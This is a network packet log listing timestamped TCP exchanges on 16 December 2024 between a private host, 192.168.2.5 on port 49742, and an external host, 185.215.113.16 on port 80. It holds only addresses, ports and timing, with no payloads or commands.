Dec 16, 2024 15:25:39.120017052 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.120070934 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.221518040 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.221576929 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.221613884 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.221729040 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.221771002 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.221798897 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.221908092 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.221962929 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.221998930 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.222034931 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.222067118 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.222099066 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.222836971 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.222949028 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.222981930 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.223105907 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.223438978 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.223517895 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.223546028 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.223552942 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.223587036 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.223916054 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.305154085 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.305347919 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.305385113 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.305422068 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.305474043 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.305474043 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.305553913 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.305650949 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.305685997 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.305721998 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.305727959 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.306473017 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.306524992 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.306617975 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.306653976 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.306689978 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.306714058 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.306752920 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.307435036 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.307513952 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.307549953 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.307585001 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.307614088 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.307777882 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.308403015 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.308548927 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.308600903 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.308634996 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.308662891 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.308741093 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.309343100 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.309463978 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.309500933 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.309535027 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.309535980 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.310208082 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.310242891 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.310273886 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.310278893 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.310295105 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.310314894 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.311088085 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.311144114 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.311177969 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.311192989 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.311192989 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.311250925 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.312000990 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.312082052 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.312115908 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.312120914 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.312232971 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.312448978 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.313040972 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.313096046 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.313108921 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.313131094 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.313165903 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.313170910 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.313864946 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.313885927 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.313941956 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.313978910 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.314014912 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.314064980 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.314064980 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.314753056 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.314807892 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.314841986 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.314877033 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.314893007 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.314959049 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.315699100 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.315804958 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.315840006 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.315965891 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.316004038 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.316023111 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.316591978 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.316648960 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.316683054 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.316781044 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.316787958 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.316855907 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.317531109 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.317610979 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.317646027 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.317735910 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.317787886 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.317787886 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.318584919 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.318619967 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.318662882 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.318697929 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.318877935 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.319458961 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.319493055 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.319525957 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.319526911 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.319600105 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.334630966 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.334741116 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.334774971 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.334824085 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.334850073 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.334898949 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.334934950 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.334969997 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.335108042 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.335685015 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.335901022 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.336138010 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.336160898 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.336193085 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.336199999 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.336229086 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.336357117 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.336429119 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.336911917 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.336967945 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.336992025 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.337002039 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.337476969 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.337528944 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.337661982 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.337696075 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.337733984 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.337753057 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.338094950 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.338462114 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.338516951 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.338552952 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.338622093 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.338627100 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.338790894 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.339374065 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.339483023 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.339518070 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.339591980 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.339715004 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.339876890 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.340279102 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.340332985 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.341365099 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.413676023 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.413754940 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.413790941 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.413830042 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.413885117 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.413917065 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.414067984 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.414237022 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.414292097 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.414319038 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.414326906 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.414403915 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.414505959 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.415188074 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.415254116 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.415257931 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.415298939 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.415455103 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.415625095 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.416054964 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.416157007 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.498481035 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.498541117 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.498574972 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.498611927 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.498635054 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.498677015 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.498941898 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.498981953 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.499037027 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.499073029 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.499097109 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.499141932 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.499804974 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.499901056 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.499936104 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.500035048 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.500173092 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.500231028 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.500732899 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.500790119 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.500827074 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.500927925 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.500935078 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.501003981 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.501708031 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.501765966 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.501801014 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.501827002 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.501836061 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.502568007 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.502624035 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.502659082 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.502660036 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.502670050 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.502736092 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.503541946 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.503597975 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.503602982 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.503633022 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.503669977 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.503725052 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.504463911 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.504501104 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.504537106 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.504573107 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.504635096 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.505283117 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.505367994 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.505393028 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.505402088 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.505429029 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.505486012 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.505799055 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.506272078 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.506392002 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.506428003 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.506485939 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.506522894 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.506567955 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.507200956 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.507340908 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.507394075 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.507428885 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.507452011 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.507479906 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.508119106 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.508178949 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.508217096 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.508265972 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.508517981 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.508641005 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.509012938 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.509083986 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.509130001 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.509210110 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.509224892 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.509298086 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.509959936 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.509994984 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.510030985 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.510057926 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.510078907 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.510366917 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.510848045 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.510904074 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.510940075 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.510974884 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.511020899 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.511046886 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.511775017 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.511810064 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.511847973 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.511917114 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.511928082 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.511986017 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.512681007 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.512715101 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.512751102 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.512855053 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.526864052 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.526967049 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.527003050 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.527040005 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.527057886 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.527091980 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.527364969 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.527518988 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.527609110 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.527692080 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.527745962 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.528197050 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.528301954 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.528354883 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.528390884 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.528413057 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.528485060 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.528943062 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.529045105 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.529078960 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.529180050 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.529624939 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.529659986 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.529714108 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.529737949 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.529750109 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.529829025 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.530328035 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.530384064 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.530419111 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.530455112 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.530463934 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.530622005 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.531244993 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.531300068 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.531349897 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.531358004 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.531387091 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.531400919 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.532191038 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.532299042 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.532439947 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.605990887 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.606060028 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.606096983 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.606134892 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.606246948 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.607294083 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.607332945 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.607376099 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.607410908 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.607445002 CET	80	49742	185.215.113.16	192.168.2.5
